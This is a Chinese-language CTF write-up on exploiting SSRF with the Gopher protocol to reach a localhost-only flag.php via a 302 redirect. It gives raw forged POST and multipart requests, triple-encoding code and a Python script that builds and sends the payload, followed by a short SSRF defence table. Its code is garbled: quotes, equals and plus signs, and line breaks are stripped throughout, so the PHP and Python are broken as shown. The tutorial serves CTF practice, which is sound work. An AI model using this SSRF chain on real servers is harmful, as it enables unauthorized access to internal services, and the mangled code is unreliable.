CTFHub SSRF实战:手把手教你用Gopher协议绕过本地限制拿Flag(附完整Payload)
CTFHub SSRF实战Gopher协议高级利用与防御对抗在CTF比赛中SSRF服务器端请求伪造漏洞一直是Web安全赛道的经典题型。其中Gopher协议的利用因其灵活性和强大功能成为解题利器。本文将深入剖析如何通过Gopher协议构造复杂请求绕过本地限制获取Flag同时分享防御视角下的对抗思路。1. SSRF与Gopher协议核心原理Gopher是一种古老的互联网协议在现代Web应用中几乎不再使用但正是这种被遗忘的特性使其成为SSRF攻击中的瑞士军刀。与HTTP不同Gopher协议可以直接传输原始TCP数据流这意味着我们可以构造任意格式的网络请求。关键特性对比特性HTTP协议Gopher协议数据封装严格头部格式原始TCP流请求类型有限方法(GET/POST)任意TCP交互端口限制通常80/443可指定任意端口现代支持度广泛支持多数库仍兼容但默认禁用在PHP的curl组件中当启用CURLOPT_FOLLOWLOCATION时服务端会跟踪302跳转这为Gopher利用创造了条件。攻击者可以先将请求跳转到可控的302端点再通过该端点转发Gopher协议请求。注意实际比赛中需要确认目标服务器是否支持Gopher协议。某些环境会主动禁用非常规协议。2. 实战构造Gopher请求绕过本地限制假设我们面对这样一个题目场景目标URL为http://example.com/flag.php该页面仅接受来自127.0.0.1的POST请求存在一个可用的302跳转端点302.php2.1 基础请求分析首先通过常规方式访问flag.php通常会得到仅允许本地访问的提示。此时需要分析关键文件// flag.php关键代码 if($_SERVER[REMOTE_ADDR] ! 127.0.0.1) { die(Just View From 127.0.0.1); } $flag getenv(CTFHUB); $key md5($flag); if(isset($_POST[key]) $_POST[key] $key) { echo $flag; exit; }从代码可知我们需要伪造请求来源为127.0.0.1通过POST提交正确的key值2.2 Gopher Payload构造步骤完整构造流程获取key的MD5值curl http://127.0.0.1/flag.php | grep -oE key[a-f0-9]{32}构建原始POST请求POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 36 Content-Type: application/x-www-form-urlencoded keya96c4130c73185e519003c24968e7517Gopher协议格式化每行以\r\n结尾空行作为头部与主体分隔整体作为Gopher路径的一部分三次URL编码import urllib.parse payload gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 36\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nkeya96c4130c73185e519003c24968e7517 print(urllib.parse.quote(urllib.parse.quote(urllib.parse.quote(payload))))2.3 最终利用链构造通过302跳转点中转Gopher请求curl -v http://target.com/?urlhttp://127.0.0.1/302.php?url[三重编码后的Gopher数据]常见错误排查Content-Length不正确会导致服务器拒绝请求换行符必须是\r\n而非\n部分环境需要额外的请求头如Connection: close3. 高级技巧文件上传场景的Gopher利用当题目要求通过文件上传获取flag时Gopher同样可以构造multipart请求POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 248 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenametest.txt Content-Type: text/plain 任意文件内容 ------WebKitFormBoundaryABC123--构造要点边界字符串需要保持唯一性计算Content-Length时需包含所有边界符每个部分需要正确的头部和尾部标记4. 防御视角SSRF加固方案作为开发者应当采取以下措施防范此类攻击防护策略对照表攻击手法防御方案实现示例协议限制禁用非常规协议curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPIP过滤拒绝私有地址请求检查$_SERVER[REMOTE_ADDR]域名白名单仅允许访问预设域名配置allowed_domains数组跳转限制禁用或限制重定向curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false)输入验证严格校验URL参数filter_var($url, FILTER_VALIDATE_URL)在CTF比赛中这些防护措施往往会故意留出缺口以构造题目。但在真实生产环境中应当实施多层防御。5. 工具链与自动化利用对于频繁参加CTF的选手可以建立本地工具库提高效率推荐工具组合Burp Suite Gopherus插件自定义Python请求构造脚本交互式编码解码工具CyberChef示例自动化脚本框架import urllib.parse import requests def build_gopher_payload(method, path, headers, body): request f{method} {path} HTTP/1.1\r\n request \r\n.join(f{k}: {v} for k,v in headers.items()) request \r\n\r\n if body: request body return urllib.parse.quote(urllib.parse.quote(urllib.parse.quote( fgopher://127.0.0.1:80/_{request} ))) target http://target.com/302.php payload build_gopher_payload( methodPOST, path/flag.php, headers{ Host: 127.0.0.1, Content-Type: application/x-www-form-urlencoded, Content-Length: 36 }, bodykeya96c4130c73185e519003c24968e7517 ) r requests.get(f{target}?url{payload}) print(r.text)在实际比赛中这类题目的变种可能包括需要特定Host头要求额外的认证头端口非标准80需要分阶段请求理解核心原理后这些变种都能通过调整Gopher Payload来应对。建议在本地搭建测试环境使用Docker快速部署各种SSRF场景进行练习。